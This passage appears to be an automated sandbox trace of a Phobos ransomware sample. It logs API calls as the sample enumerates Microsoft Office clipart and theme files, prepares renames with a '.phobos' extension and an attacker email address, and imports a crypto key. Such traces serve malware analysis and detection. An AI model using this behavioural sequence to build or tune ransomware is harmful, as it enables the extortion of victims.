(lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf")) returned 0x220 [0125.245] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.245] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.245] SetEvent (hEvent=0x528) returned 1 [0125.245] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0125.245] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.246] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=15856) returned 1 [0125.246] CloseHandle (hObject=0x594) returned 1 [0125.246] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf")) returned 0x220 [0125.246] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.247] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.247] SetEvent (hEvent=0x528) returned 1 [0125.247] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0125.247] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.247] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=18194) returned 1 [0125.247] CloseHandle (hObject=0x594) returned 1 [0125.248] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf")) returned 0x220 [0125.248] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.248] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.248] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0125.248] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.249] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=46814) returned 1 [0125.249] CloseHandle (hObject=0x594) returned 1 [0125.249] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf")) returned 0x220 [0125.249] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.249] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.249] SetEvent (hEvent=0x528) returned 1 [0125.249] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0125.249] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.250] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=4074) returned 1 [0125.250] CloseHandle (hObject=0x594) returned 1 [0125.250] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf")) returned 0x220 [0125.251] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.251] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.251] SetEvent (hEvent=0x528) returned 1 [0125.251] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0125.251] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.252] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=8552) returned 1 [0125.252] CloseHandle (hObject=0x594) returned 1 [0125.252] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf")) returned 0x220 [0125.252] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.254] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.256] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0125.256] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.260] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=11002) returned 1 [0125.260] CloseHandle (hObject=0x594) returned 1 [0125.260] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf")) returned 0x220 [0125.260] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.261] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.261] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0125.261] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.267] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=2108) returned 1 [0125.267] CloseHandle (hObject=0x594) returned 1 [0125.267] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf")) returned 0x220 [0125.267] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.267] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.268] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0125.268] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.269] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=5098) returned 1 [0125.269] CloseHandle (hObject=0x594) returned 1 [0125.269] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf")) returned 0x220 [0125.269] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.269] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.269] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0125.269] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.272] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=8926) returned 1 [0125.272] CloseHandle (hObject=0x594) returned 1 [0125.272] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf")) returned 0x220 [0125.272] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.272] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.272] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0125.272] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.353] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=1472) returned 1 [0125.354] CloseHandle (hObject=0x594) returned 1 [0125.354] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf")) returned 0x220 [0125.354] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.354] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.354] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0125.354] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.394] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=5260) returned 1 [0125.394] CloseHandle (hObject=0x594) returned 1 [0125.394] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf")) returned 0x220 [0125.394] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.394] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.394] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0125.394] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.472] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=896) returned 1 [0125.472] CloseHandle (hObject=0x594) returned 1 [0125.472] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf")) returned 0x220 [0125.472] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.494] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.677] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Integral.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\integral.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Integral.thmx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\integral.thmx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0 [0126.678] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Integral.thmx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\integral.thmx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Integral.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\integral.thmx")) returned 0 [0126.678] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Ion Boardroom.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\ion boardroom.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Ion Boardroom.thmx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\ion boardroom.thmx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0 [0126.678] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Ion Boardroom.thmx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\ion boardroom.thmx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Ion Boardroom.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\ion boardroom.thmx")) returned 0 [0126.678] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Ion.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\ion.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Ion.thmx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\ion.thmx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0 [0126.678] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Ion.thmx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\ion.thmx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Ion.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\ion.thmx")) returned 0 [0126.679] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Organic.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\organic.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Organic.thmx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\organic.thmx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0 [0126.679] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Organic.thmx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\organic.thmx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Organic.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\organic.thmx")) returned 0 [0126.679] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Retrospect.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\retrospect.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Retrospect.thmx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\retrospect.thmx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0 [0126.679] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Retrospect.thmx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\retrospect.thmx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Retrospect.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\retrospect.thmx")) returned 0 [0126.945] CryptImportKey (in: hProv=0x7868d8, pbData=0x427f9e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x427fa50 | out: phKey=0x427fa50*=0x81cda0) returned 1 [0126.945] CryptSetKeyParam (hKey=0x81cda0, dwParam=0x1, pbData=0x427fa38, dwFlags=0x0) returned 1 [0126.945] CryptDecrypt (in: hKey=0x81cda0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe793d8, pdwDataLen=0x427fa04 | out: pbData=0xe793d8, pdwDataLen=0x427fa04) returned 1 [0126.945] CryptDestroyKey (hKey=0x81cda0) returned 1 [0126.945] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x759a0000 [0126.946] GetProcAddress (hModule=0x759a0000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x759b6b50 [0126.946] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0126.946] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe793d8 | out: hHeap=0xe70000) returned 1 Process: id = "14" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x483de000" os_pid = "0x5c8" os_integrity_level = "0x4000" os_privileges = "0x260814080" monitor_reason = "rpc_server" parent_id = "13" os_parent_pid = "0xdac" cmd_line = "C:\\WINDOWS\\system32\\svchost.exe -k appmodel" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" 